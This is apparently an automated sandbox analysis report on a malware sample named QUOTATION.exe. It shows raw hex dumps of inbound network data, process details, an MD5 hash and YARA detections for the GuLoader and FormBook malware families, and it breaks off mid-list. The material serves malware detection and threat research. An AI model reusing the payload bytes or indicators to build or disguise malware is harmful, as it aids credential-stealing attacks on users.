2023-03-20 14:18:03 UTC	47	IN	Data Raw: a0 f6 99 de eb dd f6 5a 9e 04 71 5f 69 3b a0 c0 74 6d 65 24 2c c2 c8 cc 34 e8 04 ed 11 78 15 22 aa 11 46 c0 16 ed cd 8b 98 fe 83 5a 47 60 d1 1b f5 c7 fb 4d 75 da 92 b6 dc 3a f9 a5 7a 5d 66 8c 48 b5 60 84 bb bb a0 3c c6 c3 ec 3f 69 90 f5 6f d2 93 1e 26 3b 0a 62 ba 69 34 2e 1b 96 c4 14 d0 c6 8a 6f 8f be ba 84 1a e3 5a bb 3d 79 ee b4 b9 28 77 c6 cf 0b f6 28 ee 44 bc 5c a5 f6 71 07 28 16 29 54 b9 f3 75 cc 6f 06 8d e1 96 12 5f a3 83 a3 90 30 28 0c 2b d7 df 9b 48 12 0b bb c5 9f 33 ec c8 a5 4e 73 16 e8 2b be c5 b5 c6 6d bf 60 e2 a2 1d 97 cf 9d 97 31 cc eb 7c 90 70 7b 39 e5 da 5d 62 0f 46 47 b5 f5 9e 1a 1a 80 51 d7 97 a6 b6 76 d5 69 cd 23 f5 1f bc 53 d9 ea 07 0b 24 07 01 3a 6c 6a be 4e ac cf 21 cf 59 cd 3f 75 34 91 b9 67 8c a1 9d db f9 d0 b8 7e 47 3b 0e 69 da 2a Data Ascii: Zq_i;tme$,4x"FZG`Mu:z]fH`<?io&;bi4.oZ=y(w(D\q()Tuo_0(+H3Ns+m`1\|p{9]bFGQvi#S$:ljN!Y?u4g~G;i*
2023-03-20 14:18:03 UTC	55	IN	Data Raw: 54 c4 60 42 17 04 59 b3 2f 59 db 91 00 1f 87 1c a3 ca c2 fa bd fd 69 45 14 0c 26 6e d1 9d 38 42 ab e2 f5 98 24 0c 29 6a 54 09 75 3c 78 a4 c4 8f f2 a7 47 b6 4b 22 0c ca 38 53 28 00 e4 f8 e3 a8 0c 7a e3 9d 3e 3b 2d 37 eb c6 1d 9a e6 4b bd 77 92 8a 4f 97 87 3a 72 b1 2b 51 07 73 57 16 dc 7b 8f 14 ed 68 f2 ad 28 47 d1 11 fb 96 33 25 91 2e 4c 80 6b 3f 16 37 e3 a2 53 be 4f 81 a4 b5 6e ba d9 24 52 84 b9 ef 40 d9 66 70 94 27 4b df 33 84 a7 7a 16 26 56 55 32 92 8a 49 97 2e fc a0 ca 31 88 57 5a 93 99 97 02 60 8a 1e e6 33 e1 9e 55 43 bc 81 f0 b0 00 dd c8 71 7b ff 48 13 b6 b2 bc 27 fe de 62 f2 26 20 2a 19 f8 44 68 0f 8e 7c 80 7d d1 d3 eb 43 0f 87 59 d2 45 c9 02 b6 ad 2c 6c a4 1d 86 82 66 bb a5 f5 cb 0b 0e d1 9d 9e a1 d4 30 12 d4 69 ee 47 37 a8 34 d5 f1 23 72 ef 9e 92 Data Ascii: T`BY/YiE&n8B$)jTu<xGK"8S(z>;-7KwO:r+QsW{h(G3%.Lk?7SOn$R@fp'K3z&VU2I.1WZ`3UCq{H'b& *Dh\|}CYE,lf0iG74#r
2023-03-20 14:18:03 UTC	62	IN	Data Raw: b5 83 1f 51 e6 f9 71 5d fa ba 03 eb 46 97 84 fa f6 64 53 21 75 0d 4f c8 ce ab 4f b0 43 f0 d8 8b 65 7e 98 eb 16 08 d3 65 b3 16 d8 98 c9 53 c4 b3 3a a1 97 ba a8 9b 87 88 97 89 6f c6 98 58 da 4c ae 50 c7 aa a3 c8 6b b0 2e 30 8a 2c 66 4f 06 0f e2 0a ad 11 f9 dc 8d ed f4 8c 01 3a f6 7f 96 2e c7 b6 e7 1e 1e f6 a0 a6 ff 67 89 1c 75 60 6d cc bb 25 f9 b6 61 7a 0b 81 da 0b 92 7a 3c 2b 54 89 47 e8 11 24 ac e8 9a d6 53 a1 33 3c 9c 15 23 a0 1f 0f 0d 50 49 24 4b ea 6d 49 24 19 a2 e5 c8 7b 02 66 ec 8c 5b 86 10 d6 2c 18 fa 2c a0 87 61 ff 32 71 bf 7b e6 e5 ac 13 0e 70 46 23 85 ed 7a 01 c3 82 d9 40 e9 24 f3 85 79 69 c4 f5 52 25 82 69 dd b5 e1 f2 8c 6a 9f de 67 08 79 db fe c3 64 65 12 33 66 ac ab fc 0e 07 c9 7f 65 47 4a 2f 95 5b de 7d af 5b 10 b0 6e 58 f5 08 6e 4e c4 dd dd Data Ascii: Qq]FdS!uOOCe~eS:oXLPk.0,fO:.gu`m%azz<+TG$S3<#PI$KmI${f[,,a2q{pF#z@$yiR%ijgyde3feGJ/[}[nXnN
2023-03-20 14:18:03 UTC	70	IN	Data Raw: 2c 03 73 b2 62 7e 04 ce cc 8e 66 ba 10 19 0d 57 d1 56 09 bb 61 05 1b 3d be 43 ee 73 bb e8 1d f9 fa 33 dd 46 42 2c 0d 2a b6 e2 a6 51 2a c7 39 8d 6b e3 bb 53 02 6e ce 5c bf df 9a e5 79 09 de 99 b4 f4 c3 7f c3 3c fb 6b 9e 69 f3 88 c8 27 d0 9f e1 ee 03 8a c3 25 47 7b 99 9a 45 d3 fb 5c df 57 c9 1c 6f 60 90 06 81 27 d7 6f 7a da 27 9a 6b 56 b8 71 5f 88 d7 f6 54 2c 9d 69 db 66 e4 d9 6b 98 55 59 40 49 ed 04 af bc f3 d5 03 a4 e6 02 16 6a 17 2f 7d 37 1b 3b 0d ff de fc 3b 7d 81 cf bf 4b 59 34 d3 fc a3 9d d2 f3 d3 42 a1 1a d8 14 0a c6 17 52 df cf c4 0a 7b aa 54 0f 2b bd 72 f2 59 2b 10 7d 77 51 38 6e ef 2a a7 a9 05 31 52 4e f2 2c b4 ff 6b b5 0b 77 32 47 ac e3 2b 4f 4e c4 06 e4 0d a4 2c 28 d3 cd a5 38 7e 7d ff cf c5 f8 54 46 80 b1 4d b3 88 32 cb 25 a2 e4 e4 1d b0 f6 fc Data Ascii: ,sb~fWVa=Cs3FB,Q9kSn\y<ki'%G{E\Wo`'oz'kVq_T,ifkUY@Ij/}7;;}KY4BR{T+rY+}wQ8n*1RN,kw2G+ON,(8~}TFM2%
2023-03-20 14:18:03 UTC	78	IN	Data Raw: 15 f7 28 73 42 ba 89 76 89 4c fa 72 b3 58 28 33 40 49 32 83 c8 81 c1 29 71 2d 5e eb 45 85 3f e3 01 74 98 f5 05 d5 5b ff 7b 07 f3 2a cf 1c db a2 9a 0e 63 96 97 79 1a 45 05 45 94 4d be 33 91 80 0a 7b ea bc 83 f8 23 00 49 36 d3 f2 9b 60 3e 81 63 15 72 96 60 55 04 57 19 0c f6 65 ce 67 97 2b ca 5d 63 1c a7 d2 b7 56 6e 36 8d 46 71 b4 48 64 48 da 3e cd c6 d0 94 bb ba 3c b2 8b a1 39 e4 14 de 2c 5b 81 7c d2 67 68 55 f3 08 68 81 14 cc 2d e1 b7 4b 1a 48 65 ce fb f9 77 39 6d 7c eb 8b 8d 67 29 87 9a 89 26 6f 46 ff 76 c9 7b 8c e5 bd e8 f8 6b 23 e3 e2 5d 99 3d cb 2b 0d c4 9c b4 21 f9 cc 5c 7b 6a 1a e4 6d 51 7f 3e 8a ff a7 16 0b c2 a4 58 1a 77 2f 02 24 2e e6 a0 1b ef ec c7 53 de 29 21 b8 de b2 6d 8d 75 67 05 ba 4d da 22 30 17 3d f5 8e 1a 6c 82 af e4 89 c3 77 df 54 0e 90 Data Ascii: (sBvLrX(3@I2)q-^E?t[{*cyEEM3{#I6`>cr`UWeg+]cVn6FqHdH><9,[\|ghUh-KHew9m\|g)&oFv{k#]=+!\{jmQ>Xw/$.S)!mugM"0=lwT
2023-03-20 14:18:03 UTC	86	IN	Data Raw: 25 0b 7c ba 3b 27 e2 0d 4b 2f b4 49 56 d1 0b 31 74 68 6a b3 ca b6 77 58 26 0a 93 f2 98 dd 5f 63 44 76 47 4d a7 c2 67 52 8d 91 df e7 90 64 2b c4 7e fb 5f 07 35 d9 a9 dd a1 3c cd 97 de 19 59 be 80 17 bc 9e 9d 36 4a 14 eb d7 8e cf 4e 6e 3e 3f 60 94 3c 29 5f 56 d2 4b cf 48 f5 a1 33 c5 2c 65 23 2c 5e 51 5f 17 b9 e8 a9 85 df 78 05 7f 79 80 87 1c 89 24 b7 c5 e9 ba 25 a4 35 79 76 52 f8 9a d2 95 bf 1d 16 2d 7c 78 2c 30 30 61 7b 2a 1f 66 c3 d4 d3 03 c2 1f 18 e0 58 ae b8 4a 09 04 9e 56 b0 3e 38 09 e8 fd cf 66 f6 55 89 7e 1d ee ec 07 1a 26 24 0b 39 ea cb d5 6f 06 6d c5 11 e7 c8 31 bf b2 2b f0 e9 6a dd 17 95 81 f2 2f 5f 2d 4b 3f ee 22 00 2c 74 16 f3 ae ca 20 d3 d9 a8 be 8a b1 29 54 b4 7b 26 1d 78 43 c3 6f 2b 73 fc 3c 39 42 15 a5 54 a3 fd fc c3 88 5e c6 77 6c ee 13 68 Data Ascii: %\|;'K/IV1thjwX&_cDvGMgRd+~_5<Y6JNn>?`<)_VKH3,e#,^Q_xy$%5yvR-\|x,00a{*fXJV>8fU~&$9om1+j/_-K?",t )T{&xCo+s<9BT^wlh
2023-03-20 14:18:03 UTC	94	IN	Data Raw: 93 fc 8c d7 44 3b 6b 20 3d 4b dd e4 03 74 04 ae b2 16 b1 cb 57 77 92 9c 3a 0d e7 ec 02 47 a8 90 5d 8c bc 2a 27 fc 2d 48 37 5e 5f 27 65 23 c0 5c 02 72 a7 c1 0f e9 4b 44 cf 3d f6 76 33 f0 e0 49 2a 47 fc 28 7e d2 fd 48 b6 ff d7 c2 99 28 fd 1b 09 32 25 1d 70 eb 6a 1c 05 f1 03 12 b6 f8 bf c3 54 0e ed 16 67 1a 61 af 7b 1f e4 c1 5f 22 5d 1c fe 92 de 11 a9 6a c3 95 5e f3 cb 69 a4 ea 6f ef 5c 9f 38 7d f4 e6 89 54 33 a0 f8 25 af af 1e 04 de fa 63 6b 8a b1 6c 5a 25 5c 59 62 08 84 e8 6a ac 11 eb 8d b7 cd 86 47 91 70 4a f3 90 c7 73 e0 e9 d4 68 88 fa 8d 28 3f a7 4f 85 4c 57 f5 b3 75 63 c6 22 30 b1 28 2c b0 56 cd b4 32 74 84 5a 37 0a 70 83 36 53 e8 5a 15 b8 0a d5 a6 37 87 d0 b5 80 3d 90 ee 18 55 19 8a 5f e8 26 98 26 9e 53 9e b0 cb 1b 79 cf e0 5f 2d c2 03 77 3a d3 4a be Data Ascii: D;k =KtWw:G]'-H7^_'e#\rKD=v3IG(~H(2%pjTga{_"]j^io\8}T3%cklZ%\YbjGpJsh(?OLWuc"0(,V2tZ7p6SZ7=U_&&Sy_-w:J
2023-03-20 14:18:03 UTC	101	IN	Data Raw: 4c 3b ff 2a 07 16 d0 ce e0 d9 66 c3 a6 64 5d 83 5b 12 d6 49 b1 1b 98 70 65 df e3 b5 fe 49 b4 86 fd 78 0b 5d cd 15 c4 57 5e c1 89 88 2f 45 8c 68 34 9e 09 aa b1 05 ab 68 3a 0f 97 75 12 22 50 70 84 30 f2 1a a1 84 da 41 94 f1 75 fa 4f 2b 3e 0d ed bb 28 aa 9d 5f 62 b8 b7 26 02 de 66 e9 ae c7 08 a6 e6 7f 61 ab 9e a7 c1 20 45 e5 35 7b 34 e9 1e 59 f9 3f 3f 18 a1 e8 1c ea 76 d1 60 65 36 25 8c 9b f4 ee 3a 68 ca 42 ca 7d 7d ed c9 20 8d 3b f3 7c 93 6d d6 9d f0 3f d8 e2 4c 63 7f 13 7b 82 a5 ee 98 6f ab 96 44 d8 c2 f8 3b 2f b3 29 16 ab 62 57 f1 61 e7 84 ed f0 0b 55 39 ab c9 a3 0a 5b 4c 6b d1 be ce 13 d8 17 a7 b7 7f 49 d9 81 12 e5 2f 04 ab 26 01 4a c6 0f 45 e0 b6 49 5f bd c1 10 8c 95 e0 c7 81 a2 1a f8 d9 0e 81 ce 49 b1 3d 2f d6 35 41 18 a1 7e 44 2c e9 bc 29 8a 86 b3 f0 Data Ascii: L;*fd][IpeIx]W^/Eh4h:u"Pp0AuO+>(_b&fa E5{4Y??v`e6%:hB}} ;\|m?Lc{oD;/)bWaU9[LkI/&JEI_I=/5A~D,)
2023-03-20 14:18:03 UTC	109	IN	Data Raw: c3 b7 5d 36 3b e7 9e 77 02 18 8f 24 26 44 2e f8 09 5a d7 15 7f c1 3f ec a5 1d aa 79 4f 27 c4 2f 3a d5 a0 84 4a 40 0d d3 46 69 fa 9f 04 ba 93 74 6e 21 39 97 37 a6 f1 75 97 9f 93 90 f6 79 f0 5e 7e d1 a6 62 30 b4 51 f4 47 db b9 27 9d 2b df a1 d2 0c 46 ee ac 33 1c 54 ad 6d 1d 27 d8 be 64 82 33 a3 b8 ae 08 db 2e 2e 52 84 dd 22 ef 7e 1f e0 b2 d7 c7 5f 96 d1 e6 ea da 87 80 10 85 8f b7 9d ee 14 19 89 f0 f8 d7 6c be da a9 e9 3e fc 63 91 28 d1 68 fa a0 28 9f b4 75 1d 9f 98 71 0f 24 cf a7 49 d6 36 7c 80 ae 6f ea b3 c2 2e 3a 06 65 5c cf 3e f4 29 98 7c cf d5 68 cd 11 57 42 4b fa 6b 55 b1 76 3c fa fe 77 39 c2 c6 ec 78 1a e6 ca c2 c5 28 a1 de e6 c1 bb f7 76 14 40 94 e0 b8 85 8a 7e 9b 31 16 18 1d 1e 24 9a 95 65 42 9c 8b 80 40 33 4f 4b 4c 64 85 bd 90 8a a5 5a 81 ff 41 96 Data Ascii: ]6;w$&D.Z?yO'/:J@Fitn!97uy^~b0QG'+F3Tm'd3..R"~_l>c(h(uq$I6\|o.:e\>)\|hWBKkUv<w9x(v@~1$eB@3OKLdZA
2023-03-20 14:18:03 UTC	117	IN	Data Raw: c4 72 23 29 7d 59 a2 b7 27 11 e4 fc fc 46 b3 34 d4 e0 1a 37 bd 79 a1 17 21 27 83 df 97 da 3f b0 80 e0 a4 fb 68 57 eb f0 c5 56 8a a5 94 72 c5 31 1d 96 bd 76 ef fc 84 49 1f c7 3e e8 03 b7 c6 68 ed a2 2c dd b8 03 3e de 84 50 da 54 d7 30 c7 1c 2c 57 c6 df fc 03 25 58 57 ce db de 72 da d4 1d a1 e8 90 24 ea b4 eb b3 c0 a8 1d dd cc 24 2a ba c5 65 b7 8d ce bf 54 47 1c fe 14 de bd c6 37 3d d1 eb 22 e2 84 0b 9b ef 54 45 0d d0 d8 2d 9b a9 7c 67 e4 22 05 57 50 51 b1 93 9a cd ae 43 6f f2 8b df ce af e9 74 1a 2b f3 79 8c 3e e2 5e 0d e1 1c 07 e6 21 3b 3b 3a c5 0f 3b df 83 65 6c 0d 0c 9a 54 9d 62 ff 6f 24 bc d1 4d 1e 53 df a6 20 f7 a1 ae 96 e3 00 60 f2 b9 8f 60 37 92 3f 20 89 e7 24 b6 87 03 4d fb 5d 36 9b c4 07 c2 a2 bd ff 9f 59 67 57 fe 39 78 a7 e8 e4 5c 81 9d a9 1c 3c Data Ascii: r#)}Y'F47y!'?hWVr1vI>h,>PT0,W%XWr$$*eTG7="TE-\|g"WPQCot+y>^!;;:;elTbo$MS ``7? $M]6YgW9x\<
2023-03-20 14:18:03 UTC	125	IN	Data Raw: 37 ac 34 92 38 08 14 32 68 f8 31 7f 6d 55 22 ad 79 7d 1e ef 44 a7 48 1d d9 4e 3b 5a 4b 09 6d f1 fc b1 6e e6 6e 77 d9 dc 8d be 5b a4 14 75 02 49 af 3e d8 cb c5 b6 85 10 f3 50 31 37 a2 47 a5 36 b6 8b d7 de 66 42 23 55 81 df f8 54 82 59 77 ec 7b f4 7a b6 f3 99 2a f3 24 8e 57 52 95 35 4f 7f b6 7e ef d1 45 85 df 71 49 60 74 7a 82 03 b1 25 39 b1 65 ae 48 ab 67 24 92 e0 e9 3c 81 5f 29 d5 26 bc 47 0a 31 0d 6f 1f 78 12 5d 1b 9f 3d 8d 3b 1a 49 b7 e4 96 5b c4 7a f6 25 e0 9c cd 74 98 ac c1 de 9e d1 0f fb f3 ad 15 ef 3b ba 40 7a 6e 13 81 27 25 46 eb 4e ad 84 4d 98 1c 81 3e c1 4e 69 9c 6e 8f 2b 05 63 50 e7 b7 8b 62 2d 93 82 c3 8e 1a 31 cc 58 a3 87 a3 b0 a2 94 ab 75 a5 03 eb a3 c9 85 17 66 18 b2 85 38 ea 1c c3 f4 22 59 de a0 5f 63 30 9a 93 84 51 ea ac 59 d7 58 61 ca 9b Data Ascii: 7482h1mU"y}DHN;ZKmnnw[uI>P17G6fB#UTYw{z*$WR5O~EqI`tz%9eHg$<_)&G1ox]=;I[z%t;@zn'%FNM>Nin+cPb-1Xuf8"Y_c0QYXa
2023-03-20 14:18:03 UTC	133	IN	Data Raw: ad c0 17 4e 75 83 94 7f 1c c0 a6 13 5e 0a 71 44 7b 99 07 dd 4a 8a a6 68 3f 73 6d 19 82 b3 80 72 6a 23 85 99 69 9c 66 c6 0f dd ee 1e 33 bd 1d 00 68 f0 2a e0 85 64 20 1f a1 31 99 bd a3 93 62 ec 0b 29 fe ca 06 96 e9 d9 24 b8 a5 f3 31 c5 a3 60 65 40 06 a8 ad 6b 8f 64 be ac 0a 2c a0 aa 68 f8 fe 57 a9 06 ed ef 8e f2 f3 c7 b2 58 1a 5c 35 73 8a b6 1f 3a db f6 66 b2 46 a4 18 ef e0 97 b8 e4 87 84 ea f1 b9 e7 1a e9 47 e5 5f 10 23 74 16 f7 f7 25 63 3c 22 00 5f 89 2a d7 b1 5f e1 f5 ae 8c 75 f3 17 66 fe ee ea 9d 3e f4 5b 90 c2 53 c1 de 95 60 8c d3 43 09 8e 34 8e b5 cc fa 3d c4 76 59 f3 60 98 67 be 14 90 3b a1 1d a8 10 3e df 13 5f e5 7d ec af 3f ac 9a cc 74 26 83 9f 42 8d e8 c1 4a 05 9b 1b 61 77 36 62 c7 4a 8a 46 97 fe e6 98 90 91 f0 93 1f cf 1a 62 39 b9 44 25 98 5e d0 Data Ascii: Nu^qD{Jh?smrj#if3hd 1b)$1`e@kd,hWX\5s:fFG_#t%c<"__uf>[S`C4=vY`g;>_}?t&BJaw6bJFb9D%^
2023-03-20 14:18:03 UTC	140	IN	Data Raw: b0 69 3c f7 cf 8f 1b 74 f3 5b 34 f0 e4 ff 86 05 91 4f 43 d6 83 37 44 b0 ea 72 fb 7b d6 b3 5e 33 80 05 bf 3a 9a c0 28 7a 97 bb b6 b6 70 a4 a3 af dc a3 fa 0c 18 46 5e e2 ca 34 0b 4b 4d 63 50 57 ef ad 96 ef 53 b1 8e 39 9a 36 7d 4d 74 30 e5 cb a2 48 d2 fa 5b 79 43 93 37 96 6c 0f 5d 8b ce 3d 7e 09 5c c0 a1 48 a3 fd 11 65 c9 51 16 04 27 a8 ce 52 97 d8 79 55 38 9a 86 aa 4b 05 bf a4 9e 09 c4 73 fc 62 57 3b 54 5e 7e f4 e6 48 de 70 97 35 92 1b c6 d2 38 db de 03 f7 23 7b 21 ca c6 83 85 e5 6f 32 f9 43 c2 40 66 7b 77 5d 0f 81 e8 a3 ed 18 93 13 37 33 6f 40 3d e0 65 24 7d ca 13 7b 85 4f 64 f3 e1 93 2d 4a 0b 78 b4 ea e4 6d d5 43 ad f1 72 68 c3 98 5f d4 c3 0a c5 80 dc ec 3a 49 2a 7b ab 6f 07 d9 ed 71 95 62 43 77 ec b2 84 ae fc 63 a5 6d b9 ee 51 ec e1 f7 7c 89 f7 f4 06 d6 Data Ascii: i<t[4OC7Dr{^3:(zpF^4KMcPWS96}Mt0H[yC7l]=~\HeQ'RyU8KsbW;T^~Hp58#{!o2C@f{w]73o@=e$}{Od-JxmCrh_:I*{oqbCwcmQ\|
2023-03-20 14:18:03 UTC	148	IN	Data Raw: 6e 70 08 2b d4 e0 3d 78 97 1a 96 57 95 91 5e 1b 18 8c 78 d2 e4 51 f9 58 66 dd 61 14 2f 8c be a3 91 8f 78 95 3a a5 0c 52 01 46 3f 5f 76 12 2a 9e a0 95 1e 8c 0e a4 62 f1 65 e6 fe 66 fa 31 31 95 e1 e1 c8 e0 1b 2f ac 5e 9f a0 d8 6f af a2 e4 29 a3 98 b4 a6 13 a4 2b 35 6b 4e 8a 1f 14 10 e1 07 aa ea b6 20 c4 6b 03 f8 17 8e a3 3b c5 2b 42 27 a9 d0 0e ca ea db c2 61 d6 da 53 1d 79 52 24 42 ac 4b 10 d8 bc 3c 76 1f d3 44 08 e7 9b 7e 47 a2 99 c1 00 3e 50 1d df a0 5d f4 d6 47 1f e7 d8 bc 7b 95 bd 31 89 c5 a8 d5 ff bf e7 21 58 96 d7 3f 37 20 96 29 da a7 99 08 fa a7 ce ce 4f 45 aa 92 8c 93 72 24 eb 7e 69 a2 52 42 38 8a e7 b5 a9 f3 87 99 32 19 c8 ce 59 bb 94 f9 27 02 d1 14 14 62 2e 5e ed eb ba 6b 8b fd 87 a0 a3 fe 08 b3 cc c7 2f 87 8e 12 31 f6 e4 c4 17 eb 37 86 97 0d ea Data Ascii: np+=xW^xQXfa/x:RF?_v*bef11/^o)+5kN k;+B'aSyR$BK<vD~G>P]G{1!X?7 )OEr$~iRB82Y'b.^k/17
2023-03-20 14:18:03 UTC	156	IN	Data Raw: a8 df e9 c9 c1 97 14 ee 14 1f 4f 7c 84 2f e1 08 1c 2a 9f cc 09 9c ff 9d 3c eb 6d f1 45 ef 67 b2 27 58 f3 e5 72 6a 1c 26 ec c5 49 3f 41 58 60 da 4f f6 dd 01 4c 5b 76 fe 4a 13 2b a0 d7 8f d3 2e 61 9c c8 ff 73 e0 ba 06 18 08 7e b0 2a 8a 49 2a 80 48 f3 7f 87 94 85 b3 94 d6 6c 9b 0c 0d 02 cf af c4 12 8f 92 9d fb b4 a9 e1 f1 fa 7b 4a b0 86 0a 02 74 3f f2 f4 59 69 e6 10 fc a4 5f f8 d1 6e 04 01 51 62 9f c7 2a ab 8b af 7a 11 bc 6b d1 ac 86 b2 ee 54 08 f6 71 b5 39 9c 5f 7a f0 72 b9 54 e0 4b e4 ad db 8f 6d 68 a0 f2 a4 4f ae 49 83 f4 2d 7f 5e 9d 41 01 ee 8f 40 76 d8 9f 1d 11 65 0e 96 90 bd eb 4e e2 a4 3d 8a b7 44 10 8f ca 82 3f 02 ce dc e1 6c a1 dc 61 99 42 09 fa 43 16 dc 66 90 24 2b c4 36 d8 c8 48 5f 26 0b 0b 8e 46 89 7a bb ad ee 18 26 45 c2 d3 d6 53 db b0 90 f5 27 Data Ascii: O\|/<mEg'Xrj&I?AX`OL[vJ+.as~IHl{Jt?Yi_nQbzkTq9_zrTKmhOI-^A@veN=D?laBCf$+6H_&Fz&ES'
2023-03-20 14:18:03 UTC	164	IN	Data Raw: ac b8 4a 4f ff 78 ad 93 0e 17 f9 2a 74 07 d4 25 63 db 05 57 64 93 72 e1 aa f9 14 7a 07 d6 56 f1 1e 4e fa d2 20 6f 0f 61 28 ce a6 0d 76 1d a1 d3 46 b5 ed 38 47 02 a3 ed 21 cd 4b 47 17 dd 97 b7 ae 36 04 75 1c 6b 69 60 9e a3 87 a5 44 e9 28 47 e9 64 71 60 63 ed 93 a9 85 8f e8 f3 d4 85 1b 55 57 94 9f 98 ad 02 ee 9a 61 79 45 e3 f2 34 99 be 68 b1 da 3f d1 5f 0a c0 30 65 cf 07 02 81 55 5c 35 b1 c9 eb ca 57 94 14 0a 35 aa b1 cf 3d 64 45 8b a0 d4 e1 4e 90 79 fa 1c 69 34 38 91 3d f1 33 8f 5a 57 69 93 d2 77 4a 4c 60 aa 0e 52 ec a6 a8 2c 29 52 d2 7b 72 69 87 9e 37 81 84 fe 30 6c 86 65 92 43 04 d8 ea e7 83 06 44 18 df 4a ef 78 9a 5a 01 d0 fe 7c 32 fe ba a0 38 ef db d7 2a a3 78 4f a6 c6 b8 c3 ed c4 0b b8 33 93 54 90 ad d4 76 a1 19 c6 15 ba ef 1a 96 48 bc 76 4c 1e 7e 78 Data Ascii: JOxt%cWdrzVN oa(vF8G!KG6uki`D(Gdq`cUWayE4h?_0eU\5W5=dENyi48=3ZWiwJL`R,)R{ri70leCDJxZ\|28xO3TvHvL~x
2023-03-20 14:18:03 UTC	172	IN	Data Raw: 39 40 1b 61 31 07 02 ea ec ae 0a dc ea e0 54 21 59 89 97 f0 4b 13 1d 05 bb ed 1e a0 3e 92 b9 38 ec 72 57 2d c6 a2 ae d7 ae ac 0c b7 f2 be 8e 0c 08 53 43 eb 49 88 b3 69 10 4f 06 98 62 d6 c3 b0 94 89 17 a3 ce 8a b9 b0 3c 31 70 57 54 e5 8b 81 12 84 61 b3 51 46 e4 3f 0e aa bd a5 c1 3d 44 60 88 45 71 d7 f3 31 7e bf cb d3 1b fd fc 50 21 8d 22 20 38 a4 b6 24 e0 a3 2f c5 da 7f d8 e6 bb f0 74 4a 97 41 b1 ec bb 96 04 13 29 45 aa 86 f9 62 b9 f5 12 21 a1 30 52 fe ed d4 73 8a ea 2e bd 46 0e 6d d5 a1 73 91 6e ba ad f8 62 5f e6 de 94 fc 3d c6 2c 1e 51 f9 11 08 c1 fd 2a 4a 8e 3e b0 ee bb fe eb 8f 0b 9a 61 4f e0 b0 4c 2f f5 9c b3 a4 b1 38 2e fb f4 48 dd bf a6 be f6 a9 1d 0f fa 42 83 3f d5 82 7d a4 32 5a 68 11 1d 43 bb cd f3 0d 57 2f 2a a5 08 ec 2e 0a aa d3 ed 56 81 04 70 Data Ascii: 9@a1T!YK>8rW-SCIiOb<1pWTaQF?=D`Eq1~P!" 8$/tJA)Eb!0Rs.Fmsnb_=,QJ>aOL/8.HB?}2ZhCW/.Vp
2023-03-20 14:18:03 UTC	180	IN	Data Raw: f4 ea 57 43 e3 78 3d 2d 7f 50 2f 7e d9 65 b8 29 3c ea be 66 91 a7 41 c3 1d b8 39 75 e1 6c 04 75 06 b6 6d 19 c3 01 da ea 9a 40 96 3a 87 e9 43 03 80 d6 2d 02 d7 40 cc 95 19 0a c6 3b 7b c8 97 de 81 66 5a e4 f1 61 2b bc 9c a6 ae 34 57 04 25 6b 1a 96 e2 54 bf 4c fd b6 b6 30 c7 4e 5b c4 7e b2 67 25 1d 01 4f 25 e8 79 89 af 23 52 e5 54 b6 1e 15 35 d8 fe 29 15 23 b7 ae e6 c3 f2 11 de b8 05 23 77 94 d5 06 c9 b7 5d 7d ba 1f 09 00 89 d2 6b d8 e2 d2 8a e8 87 5e 2f 21 2c 08 6c 0c 11 9a 37 46 77 07 7c 68 95 9f 53 60 70 e5 ce ff a9 bd 40 3a 97 c8 1f d0 5a bd 16 56 e6 40 a0 56 a1 b2 7b 2e 8a 53 d3 76 9e 3c e8 eb 05 9c 58 9d ad 54 0f 6e 2b 99 50 4b 51 04 aa 09 09 6a 32 52 2f e2 fd 5e 65 b3 24 5e 83 d3 42 20 a5 d8 d4 89 37 a4 11 bd 35 ab 5c 53 96 36 eb 12 cc 3b d2 cd fd cd Data Ascii: WCx=-P/~e)<fA9ulum@:C-@;{fZa+4W%kTL0N[~g%O%y#RT5)##w]}k^/!,l7Fw\|hS`p@:ZV@V{.Sv<XTn+PKQj2R/^e$^B 75\S6;

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: QUOTATION.exePID: 948, Parent PID: 4812

General

Target ID:	2
Start time:	15:16:52
Start date:	20/03/2023
Path:	C:\Users\user\Desktop\QUOTATION.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\QUOTATION.exe
Imagebase:	0x400000
File size:	690832 bytes
MD5 hash:	9F23CCACD955392C62B1B5D4BE4ED690
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000002.00000003.3060874680.00000000028C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000002.00000002.3674014091.0000000004E80000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.3674014091.0000000004F87000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: QUOTATION.exePID: 7268, Parent PID: 948

General

Target ID:	8
Start time:	15:17:50
Start date:	20/03/2023
Path:	C:\Users\user\Desktop\QUOTATION.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\QUOTATION.exe
Imagebase:	0x400000
File size:	690832 bytes
MD5 hash:	9F23CCACD955392C62B1B5D4BE4ED690
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.4281303153.0000000000060000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.4281303153.0000000000060000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.4281303153.0000000000060000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000008.00000002.4282173420.0000000001660000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.4281579504.0000000000090000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.4281579504.0000000000090000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: 